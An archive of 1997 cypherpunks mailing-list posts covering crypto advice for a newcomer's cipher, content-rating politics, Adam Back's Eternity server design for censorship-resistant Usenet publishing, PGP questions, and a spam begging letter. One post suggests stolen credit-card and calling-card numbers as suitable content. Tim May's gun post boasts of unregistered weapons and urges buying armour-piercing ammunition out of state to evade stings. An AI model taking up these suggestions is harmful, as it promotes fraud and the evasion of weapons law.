In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <Pine.OSF.3.96.970728203218.23582A-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 27 Jul 1997, Guillotine wrote:

> I'm creating a new _text_ cryptography program.

If you are not useing a well know and strong cyper method I suggest you
post details of your meathod to sci.crypt where thay will (most likely)
pick holes in it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 05:24:22 +0800
To: love@cptech.org
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCF05E.62269C50@cptech.org>
Message-ID: <199707282021.VAA01157@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Love <love@cptech.org> writes:
>    Tim, on the one hand, you seem to be saying that you have
> constitutional rights, which would make the government's enforcement of
> labeling systems illegal.  On the other hand, you seem to express
> concern that the government will succeed at making such labeling
> mandatory.  I'm not sure which case you believe to be true, or if you
> are still unsure how courts will rule on this issue down the road. 

What about the possibility (gasp) that the government might rush ahead
and do things which were illegal, and unconstitutional?

The US is littered with laws, taxes, court decisions which are clearly
unconstitutional.

The problem is that there is this set of people who like to do a thing
called "compromise", and this leads down a slippery path.  Sooner than
you expect you end up with dietary recommendation laws (ingest a few
non-government approved foodstuffs, find yourself locked up - eg many
drugs), 50% effective taxation even thought the people who wrote the
constitution and federal papers were clearly against this, and it is
also clearly unconstitutional.

Your comments on ratings sound a lot like compromises.

> I doubt that Huck Finn is going to be the defining issue of this
> debate.

True.  But that's what it'll come to long term.  Goverment always
starts from an extreme case.

>          At various points, things are more or less voluntary.  

Are taxes voluntary?  Car insurance?  Driving license?  Dog license?
Not straying from government dietary recommendations?  Not taking
notice of governmental "rating services"?  You can't get much closer
to the first amendment than that last one.

> But when you have endless commercial spamming, or make no effort to
> make it easy to filter porn from k-12 classrooms, then you may end
> up with more rules that you might want.  In this sense, rules will
> be result of a failure to solve problems informally.

Spam has technical solutions.  Charge postage.  Problem solved.  

(Or have a look at hashcash for a temporary solution:

	http://www.dcs.ex.ac.uk/~aba/hashcash/
)

You want government anti-spam laws?

Kids might read porn?  Feh.

Kids watch porn on TV.  Kids look at porn mags from shops, or passed
around at school.  Kids pass porn mags around at school from age 10 or
lower.

Libraries contain all sorts of stuff kids could read which would fail
government "rating services".  So do book stores, newspapers.

>     I think that the cyber porn debate would be more of less ended if
> there was an agreement of the standard meta tag for adult material.

That is an interesting suggestion.  

OK, I agree: you standardize a porn meta-tag.  No requirement to use
it.  Perhaps a few porn sites will even use it to increase their web
hits.  Kids will figure out how to do a web search _for_ adult rated
pages.

However I don't think it would appease the law happy, attention
hungry politicians.

The problem is that you can bet your bottom dollar that the law happy
idiots in government will want to draft shit-loads of laws to back it
up.  Voluntary it won't be.

A basic rule of thumb: don't negotiate, compromise with, vote for, or
talk to politicians, it encourages them, and you will always, always
come out worse off.

Slogan graffittied on a bridge around here:

	"don't vote, it only encourages them"

Rule #2: new laws never, never give you more freedom.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 06:10:21 +0800
To: enoch@zipcon.net
Subject: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <19970728200020.5383.qmail@zipcon.net>
Message-ID: <199707282148.WAA01753@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> In alt.cypherpunks, Censorship Suck <FBI@Sucks.NSA> writes:
> 
>  > My previous suggestion was to create "virtual" WWW sites
>  > (when necessary, possibly as a stop-gap measure when there
>  > is a censorship attack).
> 
> I read your earlier post, and find the notion of hosting Web
> sites on Usenet intriguing.  [...]
> 
>  > By virtual, I mean by posting to USENET, probably encrypted,
>  > with the decryption key following a couple days later.
> 
>  > It involves considerable development for either a newsreader
>  > or preprocessor, but then, the work is implied. A
>  > "gathering" design is necessary.
> 
> Conceptually, seamlessly extending the Web over Usenet is not
> complicated.  Each document could be posted as a single PGP
> conventionally encrypted article, with some reasonable convention
> for encryption keys and message ids that would enable links to be
> followed. Browsers could be modified to maintain a open
> connection to an NNTP server, and to fetch and decrypt articles
> specified by an nntp:<message-id> link in lieu of using http.
> 
> Suppose I post my favorite banned Web pages to
> alt.anonymous.messages on a weekly basis, and distribute browser
> plug-ins and patches to enable Usenet to host Web content.

You two must've been snoozing when I posted the Eternity service
announce back in April.  I implemented something which does pretty
much exactly what you're discussing.  I'll include a repost below.

> I forsee the following glitches.

I must've been doing something right, I read your practical glitches,
and went yup x 4 :-)

So beyond implementing it, which I've done a first cut of, the next
problem is getting people to use it, to advertise it so that people
know it exists, to get people to put lots of "interesting" (=
otherwise censored, so possibly pretty interesting) materials on it,
so that people find it interesting to browse documents on it.

I'm working on an article for Phrack 51 on it, as I thought the Phrack
audience a suitable one for folks interested in publishing interesting
materials (warez, hacking, cracking hints, tips, liberated information,
and some more on the less savoury side perhaps, CC numbers, calling
card numbers, etc).

A real boon would be a working demo system, and I still haven't set
one up myself.  As I said back in April: any takers.

My implementation doesn't require browser plug-ins.  It would require
that or a local proxy for better security, but a quick 'n easy is
probably a better starting point.  (Much like web based remailer
interfaces are ok things to introduce people to remailers, almost zero
set up, easy to use etc.)

One thing I didn't see you mention was the idea to use the web based
news archival services to get around the problem of news expiry.  I
haven't implemented those parts, as I was kind of hoping the idea
would take off and someone would thereby be motivated to contribute
the code.

The only novel thing is that the URL hashes which I was using for a
subject line (read reposted announce for why I do this) don't seem to
be indexed by the search engines (neither dejanews, nor altavista).
An idea I had to work around this was to use something like texto,
where you just use a group of words to encode the number.  Or I think
you can get away with numbers under a certain length.  So perhaps in
encoding url hashing to: 22596363 B3DE40B0 6F981FB8 5D82312E 8C0ED511 you
could convert to base-10, and group into whatever digit numbers:

Subject: 576283491 3017687216 1872240568 1568813358 2349782289

Then do a web search for:

576283491+ 3017687216+ 1872240568+ 1568813358+ 2349782289+

(altavista syntax + is word required).

Realtime uncensorable web courtesy of altavista :-)

Adam


reposted eternity announce:
======================================================================
To: cypherpunks@cyberpass.net
From: Adam Back <aba@dcs.ex.ac.uk>
Subject: [ANNOUNCE] Eternity server 1.01 alpha release
--text follows this line--

Annoucing the `eternity server'.

Alpha testers wanted.  See source code at:

	http://www.dcs.ex.ac.uk/~aba/eternity/

System requirements are:

  unix
  perl5
  news source (local news spool or access to nntp server)
  pgp (2.6.x)
  web space
  ability to install cgi-binaries
  ability to schedule cron jobs a plus but not essential

Unfortunately I have not got a service up and running for you to play
with because I don't meet those requirements (in cgi capability on the
server I would otherwise like to use).

If someone wants to set one up to demo, and post the URL that would be
useful.

The local news spool stuff is tested better than the nntp server
stuff, but it is all there and the nntp stuff was working at one
point.  Remember this is alpha code.  If you can hack perl and want to
stress test the nntp server stuff or the rest of it that would be
helpful.

What is an Eternity Service?

(Some of you may recognize the name `Eternity Service' from Ross
Anderson's paper of that name.  What I have implemented is a related
type of service which shares Anderson's design goals, but has a
simpler design.  Rather than invent a new name, I just borrowed
Anderson's, unless anyone can think of a better name. Anderson has the
paper available on his web pages (look for `eternity') at
http://www.cl.cam.ac.uk/users/rja14/ Also I heard that Eric Hughes
gave a talk on UPS `Universal Piracy Service' I presume this has
similar design goals, though I have not heard further details.)

I have implemented this to give something concrete to think about in
terms of creating something closer to Andersons real eternity service
in robustness.

The eternity server code above provides an interface to a distributed
document store which allows you to publish web pages in such a way
that the attacker (the attacker here is a censor such as perhaps a
government, perhaps your government) can not force you to unpublish
the document.

It's architecture is quite simple.  We already have an extremely
robust distributed document store: USENET news.  We already have the
ability to post messages to the document store anonymously: type I and
type II (mixmaster) remailers.  So theoretically we can publish what
ever we want, just post it to USENET.  However retreiving the data is
cumbersome.  We must search USENET with a search engine, or look
manually for the document, the document will expire after some short
time.  You may still be able to find the document in a search engine
which archives news for longer periods such as dejanews or altavista.

However, it is not as user friendly as a web based interface, there
are no hypertext links between related documents, there are no inline
graphics, etc.

So my `eternity server' is a kind of specialised web search engine
which acts as a kind of web proxy and provides a persistent web based
interface to reading web pages stored in encrypted documents posted to
different USENET groups.  The web search engine provides persitent
virtual URLs for documents even if they move around with different in
different news groups, being posted via different exit remailers.
Signatures on documents allows the user to update document.  The web
proxy has options to cache documents, and otherwise fetches from
a USENET newsspool or nntp news server.

Technical Description

The system offers different levels of security to users.  All
documents must be encrypted.  The subject field of the document should
include the SHA1 hash of the document's virtual URL.  (All eternity
virtual urls are of the form:

	http://[virtualsite].eternity/[documentpath]

that is they would not function as normal urls because the use the
non-existant TLD "eternity".  You may be able to use this facility to
get your browser to look at a particular eternity server to serve
documents of this form).

The lowest level of security is to encrypt the document with PGP -c
(IDEA encryption) with the passphrase "eternity".  This is just
obfuscation to make the documents marginally harder to examine in
USENET without using the eternity service to automate the process.

The next level of security is encrypt the document with the SHA1 of a
1 prepended with the URL.  ie 
	
	passphrase = SHA1( "1". "http://test.eternity/doc/" )

This means that you can not read documents unless you know the URL.
Of course, if you can guess the URL then you can read them.

The third level of security is to additionally to one of the above two
options to encrypt the document with another passphrase of your
chosing.  Then you can give the passphrase only to those amongst your
circle of friends.

Additionally support is given for signed documents.  This is important
because once you've published a web page you might wish to update it.
And yet you don't want other people updating it with a blank page (or
otherwise changing your page) as this would be as good as the ability
to remove the page.

If you include a PGP public key with a document, the eternity server
will associate that PGP key with the hash of your documents URL.  Any
attempts to update that document will only succeed if signed by the
same PGP key.

The document server has the option to cache documents.  Cacheing can
either be turned off (in which case documents are always fetched from
the news spool, this is not that inefficient as the news spool may be
local, and the server keeps a database of USENET group/article number
against document hash, and so can directly fetch the document), or
cacheing can be turned on, or cacheing can be set to encrypted, in
which case documents in the cache are encrypted with a passphrase
derived from the SHA1 of the document's URL by prepending a 1 to the
URL.  In the encrypted mode if the server operator is not keeping
logs, he can't decrypt the documents in his own cache.  If cacheing is
off there are no documents in the cache, only in the USENET news
spool.

In addition some users will have a password which is pasted into an
extra password field on the field

Users can set their own per document cacheing options (they can set no
cacheing to override the options of on or encrypted on the server), or
they can set encrytped to override cachine turned on, etc.

There is a document index at eternity root ( "http://eternity/" ), and
users may optionally request documents to be included in the directory
of eternity documents and virtual hosts.  It makes sense to include
the root document of your set of web pages in the index, and to leave
the rest out of the index.  Then you can link to your own pages from
your original page.

Relative URLs work, inline graphics work, site relative URLs work, and
it includes crude support for mime types, so most normal web data
types will work as normal.

The document format is:

[flags]
[pgp key]
[eternity document]

The flags are can be any of:

URL: http://test.eternity/example1/
Options: directory or exdirectory
Cache: on/yes/off/no/encrypt/encrypted
Description: An example eternity document

The pgp key is an asii armored PGP key, and the eternity document must
also be ascii armored and may optionally be signed (with the
acompanying pgp key).  The eternity document can also be encrypted
again inside that layer with a user key which need never be revealed
to the server.

The overall document is encrypted with PGP -c password "eternity", or
with a password obtained by prepending a 1 to the URL as obtained like
this.

% echo -c 1"http://test.eternity/example1/" | sha1

The flags, pgp key and eternity document can be arbitrarily jumbled
up in order.

The eternity server source code includes an examples directory.

The eternity server has a configuration file which is heavily
commented: eternity.conf.


Threat Models

Think of this as a specialised search engine. If you don't like the
documents you find, then change your search terms, don't complain to
one of the many search engine maintainers! The Eternity Service is
designed to facilitate publishing in a web based form of non
government approved reading or viewing material, or the publishing of
non government approved software, or other "liberated" documents,
programs, etc.  Each user can easily install their own search engine
in a shell account for their own use.

Newsgroups are very robust against attack because they are part of a
distributed system: USENET news. It is difficult to remove a USENET
newsgroup (the Scientologists know, they tried and failed, and they
have seriously deep pockets, and attitude to match). For the eternity
service it probably doesn't matter that much if you do get rid of a
particular newsgroup, eternity documents can be in any
newsgroup. Somehow I don't think you'll succeed in getting rid of all
USENET newsgroups, ie in shutting USENET news down. I'm not sure that
a major government could succeed in that even.

Information wants to be free. Long live USENET news.

Improving robustness

The main problem with this system that I see is that documents don't
live long in USENET news spools as expiry dates are often 1 week or
less.  So to use the service you'd have to set up a cron job to repost
your web documents every week or so.  Some documents remain in the
cache and so survive as long as there is interest in them.

An immediately easy thing to do is to include support for fetching and
looking documents up in altavista's news archive and in dejanews
archive.  This shouldn't be that difficult.  The eternity server
article database already includes newsgroup and message id against
document hash, all that is required is to formulate the requests
correctly.  If anyone wants to add this, feel free.

A mechanism for eternity servers to query each other's caches would be
one mechanism to think about.

Another would be to charge anonymous digicash rates to keep documents
in the cache a couple of $ per Mb/year.

Also you could perhaps think about charging for acccesses to the
service and passing a royalty back to the document author.

There is no `ownership' of eternity virtual domains, or of document
paths.  If Alice puts a document at http://books.eternity/, there is
nothing to stop Bob putting other files under that virtual domain,
such as http://books.eternity/crypto/.  However in general Bob can't
make Alice's document point to his URLs.  Bob can't modify or remove
Alice's pointer from the eternity directry http://eternity/.  But he
can add his own entry.

There can however be race conditions.  If Alice puts up a document on
http://books.eternity/ which points to an inline gif, but hasn't yet
put up that inline gif, Bob can get there first and put up a picture
of Barney until Alice notices and changes here pointer to point to the
picture she wants to point at.

So one solution would be to only accept documents which are signed by
the signator of the next domain up.  First come first served for the
virtual domains, the key signing the root dir of the virtual domain is
checked for each file or directory added under that.

Note even if the URLs are exdirectory, this need not be a problem as
you can just try the path with one directory stripped off.  Could be
done.  Is it worth it though?  It would add overhead to the server,
and there is minimal distruption someone can cause by sharing domains.

Perhaps it is desirable for someone to own a domain by virtue of being
the first person to submit a document with the hash of that domain
together with a key.

Comments?



The rest of this document is things on the to do list, if you feel
like helping out, or discover a limitation or bug.

To do list

It could do with some documentation.  And some stress testing.  The
file locking hasn't really been tested much.  NNTP may be flaky
as I made some mods since last debugging.

It would be nice to have a CGI based form to submitting documents.
Paste signed ascii armored document here.  Paste public key here.
Click radio buttons to choose options.  Enter URL here.  Type in
newsgroup to send to. Click here to submit through a chain of
mixmaster remailers.

There are a few bugs in the above system which ought to be fixed, but
this is alpha code, and they are on the TODO list.  One problem is
that the flags aren't signed.  A change of message format will fix
that in a later version.  The basic problem is that you can't check
the signature until you've decrypted and obtained the key.  At which
point you have to decrypt again.  A simple fix would perhaps to be to
put the public key outside the outer encryption envelope, but that is
unattractive in terms of allowing author correlation even by people
who don't have passphrases or don't know URLs.  Better would be to
just decrypt once, obtain the key if there is one, and then check the
sig again.  The server already keeps a database of PGP keys (not using
PGP's keyring) it stores keys by the SHA1 hash of the armored public
key and indexes against document URL hashes.  In this way public keys
do not need to be included in later document updates.  This could be
used to check a signature on the outer encryption layer.  Then only
the first post needs to decrypt twice (once without key available to
check sig, and then again with key available).  As a nice side effect
this protects against the PGP 0xdeadbeef attack (or 0xc001d00d as Gary
Howland has on his public key).

Another problem is when scanning a newsgroup, if the scanned message
can not be read it just stores it for later, so that when someone
accesses the server who knows the URL for that document it can be
decrypted and scanned for good signature and updated then.  However
the code only has a place holder for one document at the moment.  That
should be changed to a list and appropriate code to scan the list when
the document is accessed.  Once the newest document is found, the list
of documents to be scanned can be discarded and the newest article
stored against the hash in article.db.

Another more subtle problem is that the code may update documents in
the wrong order if multiple versions are posted to different news
groups.  The articles are scanned one group at a time.  So if the
groups are scanned in order alt.anonymous.messages followed by
alt.cypherpunks, and version 2 of the document is in alt.anon.msgs,
and version 1 in alt.cp, then it will update the document with the
older version.

Another to do list entry is the cache replacement policy.  There isn't
one, your cache will grow indefinately as documents are never removed.

Another thing to do is the altavista and dejanews lookup via HTTP by
message-id.  All the place holders are there.

If anyone wants to tackle any of the above tasks feel free.

The program dbmdump prints out .db files in ascii so you can see what
is there.

eternity -u is suitable to run as a cron job, or just at the console.

eternity -r resets everything, clears out the cache, empties database
etc.

eterity?url=http://blah.eternity/blah

is the form to use as a cgi.  It handles both GET and POST methods.

There is a log file for debugging, see eternity (the perl program) for
how to set different logging opitons. You can log most aspects of the
program for debugging purposes.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 15:40:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Crypto Application
In-Reply-To: <Pine.OSF.3.96.970728203218.23582A-100000@oberon>
Message-ID: <v03102808b0034d458be0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:15 AM -0700 7/28/97, Dave K-P wrote:
>? the platypus {aka David Formosa} wrote:
>
>> On Sun, 27 Jul 1997, Guillotine wrote:
>>
>> > I'm creating a new _text_ cryptography program.
>>
>> If you are not useing a well know and strong cyper method I suggest you
>> post details of your meathod to sci.crypt where thay will (most likely)
>> pick holes in it.
>
>	From the sci.crypt FAQ...


What's a "FAQ"?

I think I'll just go ahead and challenge people to break my
SuperWhammomatic, CryptoPadalyzer. (I spent more time coming up with the
name than I did working on the algorithm, so I hope you all like it.)



--Tim "the Newbie"


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 29 Jul 1997 13:07:50 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <v0311072bb002a4f0dfea@[139.167.130.248]>
Message-ID: <Pine.GSO.3.95.970729005603.8739C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert is not exaggerating. Jamie's boss is Ralph Nader. Their offices
are, maybe, 10 feet away from each other in the second floor of the
Carnegie Institute in Washington.

-Declan


On Mon, 28 Jul 1997, Robert Hettinga wrote:

> At 1:52 pm -0400 on 7/28/97, Tim May wrote:
> 
> 
> > After reading several of James Love's posts, I think we are either just
> > talking at cross purposes, or that he hasn't thought carefully about the
> > constitutional issues. Maybe both. In any case, this'll probably be my last
> > response to his points.
> 
> Jamie Love is one of those nasty Naderites who believes that what the
> government shouldn't control, the plaintiff bar should.
> 
> I killfiled him on com-priv a long time ago, and, when Tim started rastlin'
> ol' Ralph-once-removed here on cypherpunks, I killfiled Love here, too.
> 
> Oddly enough, Love has a mailing list with lots of fun government-baiting
> goodies in it, so he's not all that bad. Chalk it up to broken clock
> disease, I guess...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 16:19:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Guns, Roses & Tobacco
In-Reply-To: <199707290722.JAA09290@basement.replay.com>
Message-ID: <v03102809b003535bf9d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Get 'em while you can....

At 12:22 AM -0700 7/29/97, Anonymous wrote:
>  Meantime, taking their cue from the Tobacco Nazis, the city of
>Philadelphia is trying to figure out how to sue gun manufacturers for
>their
>crime rate -- 414 homicides last year, according to conservative
>gabmeister
>Rush Limbaugh. "Expect the arguments to focus on how unsafe guns are,
>the
>lack of warning labels, the lack of formal training programs, etc." ...
>rather than simply improve public safety by legalizing concealed
...


It's been apparent for many years that the Plan is to to disarm Americans,
as most Europeans, Canadians, and Brits have already been disarmed. Suing
the gun manufacturers is the new approach. (But what will the military do
when Colt becomes insolvent, when Smith and Wesson and Ruger and all the
rest seek bankruptcy protection? I guess there's always SIG, Heckler &
Koch, and Beretta...those damned Europeans may be disarming their
citizen-units, but they're not doing it by suing their corporations!)

Me, I stocked up on guns bought with cash at the San Jose and San Francisco
Gun Shows, where money changed hands without any IDs being presented. (Plus
an emergency run to Reno in 1993 to beat the deadline imposed by
Swinestein's new legislation in Kalfornia.) Most of my guns are
unregistered, unreported, and known only to me. And I've made certain to
scatter a few of them in safe deposit boxes, and in the usual sealed
"planters."

The storm troopers are preparing to disarm the citizen units.

Remember, KTW bullets pierce Kevlar vests. The jackbooted thugs want these
KTW bullets outlawed. Get 'em while you still can, which won't be for long.

(Don't buy them in Kalifornia, as you'll likely be caught in a sting,
courtesy of Uberfascist Dan Lungren. Buy them out of state. An H&K 91 is a
pretty good dispensor of these KTWs. Colt or equivalent AR-15s and clones
are also pretty good. Though I haved to admit that I'm kind of having a
"retro" phase, finding my Winchester 94 Wrangler, in .44 Magnum, is pretty
handy. It's now the rifle I tend to have in my hand when I answer the door.
A lot handier than the ubiquitous SKS Chicom pieces of shit. Friends of
mine keep telling me to go for a Benelli Super 90 Tactical Shotgun, but I
guess the handier .44 Mag carbine fits me better at this time.)

Me, the Santa Cruz County Sheriff's office has already let me know that I'm
on a list of suspected militia supporters. After OKC, anyone with an
arsenal is suspect. We each know who the enemy is.

Whatever happened to the Second Amendment?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Tue, 29 Jul 1997 13:55:41 +0800
To: Chris Avery <cavery@ccnet.com>
Subject: Re: Queries from a Cyper-newbie?
In-Reply-To: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
Message-ID: <33DD81A6.3920@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



Chris Avery wrote:



> 1. PGP 5.0 -- good software? If not, what problems?  Why to use DSS vs/

> RSA keys?  How is 5.0 different than 2.6.3i ?  Which is better?



	I can only speak from experience that PGP 5.0 is "good software"

in that it has not caused me any problems.  In the DSS/Diffie-Hellman

vs. RSA debate, you would do well to go to www.rsa.com and read their
FAQ
on both cryptosystems.  5.0 is different from 2.6.3i in the following
ways: 5.0 can create DSS/Diffie-Hellman key pairs, 2.6.3i cannot. 
2.6.3i
can create RSA key pairs, 5.0 cannot.  5.0 can utilize both kinds of key

pairs whereas 2.6.3i can only utilize RSA key pairs.  As well, 5.0 is

legal to use in the US while 2.6.3i violates copyright protection. Only

you can decide which is better for your purpose(s), however.



> 2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i (and

> vice versa?)  Using RSA keys?



	2.6.3i is completly compatible with 5.0 (and vice versa)

_except_ if it involves DSS/Diffie-Hellman key pairs.



> 3. I understand certain encryption s/w cannot be legally exported, I am

> aware that such s/w is nevertheless being used (and built) abroad.  My

> queries:  Is purely domestic use being threatened by the pending

> legislation?  Is it already illegal to send an encrypted msg out of the

> US? If so, is it illegal to receive an encrypted msg from outside the
> US?



	As I recall, domestic use is being threatened by a law that would

make illegal the use of cryptosystems without escrowed keys.  At present

time though, it is legal to send enciphered messages to and from the US.



> 4. How strong is strong?



	From Applied Cryptography (Second Edtion) by Bruce Schneier (which

you should buy a copy of) ...


	"The wise cryptographer is ultra-conservative when choosing
public- key key lengths.  To determine how long a key you need requires
you to look at both the intended security and lifetime of the key, and
the
current state-of-the-art of factoring.  Today, you need a 1024-bit
number
to get the level of security you got from a 512-bit number in the early
1980s.  If you want your keys to remain secure for 20 years, 1024 bits
is
likely too short."



> 5. Is international data traffic somehow monitored (or monitorable) to

> detect encrypted traffic?



	Of course it is!  One of the uses of crytography is to secure

those messages that would otherwise be monitored in plaintext.  It goes

without saying that the ciphertext can be monitored, as well.



-- 

dkp at iname dot com * Exit the System.

4B63 E55D 1C92 68E3 8700 0EBF 5CDD 5538

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guillotine <guill@xmission.com>
Date: Tue, 29 Jul 1997 16:18:22 +0800
To: cypherpunks@toad.com
Subject: Re: New Crypto Application
Message-ID: <199707290750.BAA01427@xmission.xmission.com>
MIME-Version: 1.0
Content-Type: text/plain



The first of ten replies to my e-mail that has any decent information...

>>I'm creating a new _text_ cryptography program.  
>
>What do you mean by "text cryptography"?  You'll only accept text as input,
>or you'll produce your output in ASCII, or you'll produce your output
>as English-like words?

It's going to be a GUI program for Windows/95 (evil, I know, but where else
is the money at?) written in Delphi.  For a quick explanation...  it has two
memo-textareas for the input and output and one edit-area for the key.  I
called it a _text_ encryption program because it's a small application like
NotePad.exe which you can just type into, encrypt, and copy the output into
your e-mail or into a file...  and it accepts ANY ascii characters as input.
The output is as garbled as hell too, not alphanumeric.

>  None of the common encryption algorithms treats
>text input any differently that raw bits, and it's worth taking whatever
>input you have and compressing it to reduce the amount of data the
>encryption and transmission phases need to handle.  Producing printable
>ASCII as an output format isn't a cryptography issue - it's just a 
>simple reversable transform from a bunch of raw bits to printable,
>and there's no excuse for inventing a new format rather than using
>MIME encoding, uuencode, or btoa, unless you're doing something extremely
>creative with Unicode...  

True, it's all raw bits to this program.  As an added plus, it supports
pasting from clipboard of any binary format using a clipboard memory dump.
Just go to your favorite graphics program and copy an entire picture, paste
it, and encrypt it.  I see no use for that whatsoever, but the point is that
if you copy it to clipboard, it can paste and encrypt it.  Since Win95 has
the ability to copy and paste even FILES then I guess that those who want
file encryption are in luck, I have implemented the file detection for
clipboard usage and I have also implemented manual file selection and
encryption.

>Producing output as English-like words is more interesting.
>It's a steganography issue, not a cryptography issue, since you should
>be doing the secure part first anyway, but it can be useful for
>obscuring the fact that you're using crypto in a message.
>The canonical reference is to Peter Wayner's Mimic Functions,
>which let you model an arbitrary context-free grammar for output,
>but you should also look around for "texto".  (The other canonical
>reference is to "PHB", Dilbert's program that disguises the message
>in Pointy Haired Boss jargon, but I'm not aware that anyone's written it.)
>A good book to read on cryptois Bruce Schneier's "Applied Cryptography",
>which discusses most of the current algorithms and how they're used.

Me and a friend of mine have written some new bit switching procedures which
use keys to encrypt the input in a dozen different number systems, but since
that realllllllly slows it down I'm going to have to write a random
number/phrase generator mainly used to hash the key and make it a couple of
dozen characters long no matter how long it is.  Brute force will be
possible (it's unavoidable!) but just decrypting the text alone will not
work.  It will have to contain an ability to hash a guessed key just like
this program and then try the guess, making it take much longer in general
to brute force it.  That doesn't apply to the governments computers, but
since when does anything to do with slowing down brute forcing apply to them
and their mainframe-using crypanalytic selves???

>>The encryption algorithm,
>>using a symmetrical is going to be as strong as legally allowed, 

>There are no legal restrictions on cryptography strength in the US;
>only restrictions on what's exportable, and even then you need permission. 

I was just implying of the possibility that the US might soon resolve some
_MORE_ restrictions on cryptography, since they've already proven their
capability of imposing as much on the US.

Thanks for the information Bill!


For who ever said that I was going to release the source to this program's
copy protection... I'M NOT!  I don't have to prove to you how good or bad
its copy protection is!!!  Someone will reverse-engineer it anyways, and it
might as well take them a day or ten.  Besides, this program isn't even
going to cost ten bucks.... but I'll stop now before this e-mail spams any
further.

Guillotine





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 11:05:02 +0800
To: cypherpunks@toad.com
Subject: Spare DigiCa$h? / Re: AN APPEAL TO THE HUMAN RACE
Message-ID: <199707290147.DAA04123@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



amaninneeeedeer443553444@aol.com wrote:
>
> PLEASE HELP

  What follows is an example of the CyberBums predicted by one of the
list members some time back. This A(ssh)OL(e) is using his spambot to
"Spare change?" millions of people at a time and it turns out that
besides his required, basic tale of woe, that he also has the proverbial
parent who is dying from cancer.

  Don't send him any money.
  Send *ME* money. I will use it to buy enough cheap wine to enable me
to throw up on my shoes.
(Wouldn't you rather send your hard-earened money to an honest drunk
than to a lying bum?)

CyberDrunk
> > -----
> > I WAS A SMALL BUSINESS OWNER IN THE ATLANTA AREA. I RAN THIS
> > BUSINESS SUCCESSFULLY UNTIL ABOUT 60 DAYS AGO. AT THAT TIME, 2
> > SEPARATE COMPANIES FILED BANKRUPTCY AGAINST ME FOR A TOTAL OF
> > $ 47,000. I COULDN'T SURVIVE THAT.
> >
> > CONSEQUENTLY, I WAS UNABLE TO PAY MY CREDITORS, MOST OF WHOM
> > WERE FRIENDS. THEY HAVE FAMILY AS I DO AND I CAN'T LIVE WITH THE
> > THOUGHT OF DOING TO THEM WHAT HAS BEEN DONE TO ME. I'VE SPENT
> > MANY SLEEPLESS NIGHTS TRYING TO COME UP WITH A SOLUTION. I HAVE
> > NO WHERE TO TURN EXCEPT TO MY FELLOW MAN. MY ONLY FAMILY IS
> > MY FATHER. HE IS 74 AND SUFFERING FROM DIABETES AND PROSTATE
> > CANCER.
> >
> > I HAVE SLOD EVERYTHING EXCEPT THE CLOTHES OFF MY BACK AND MY
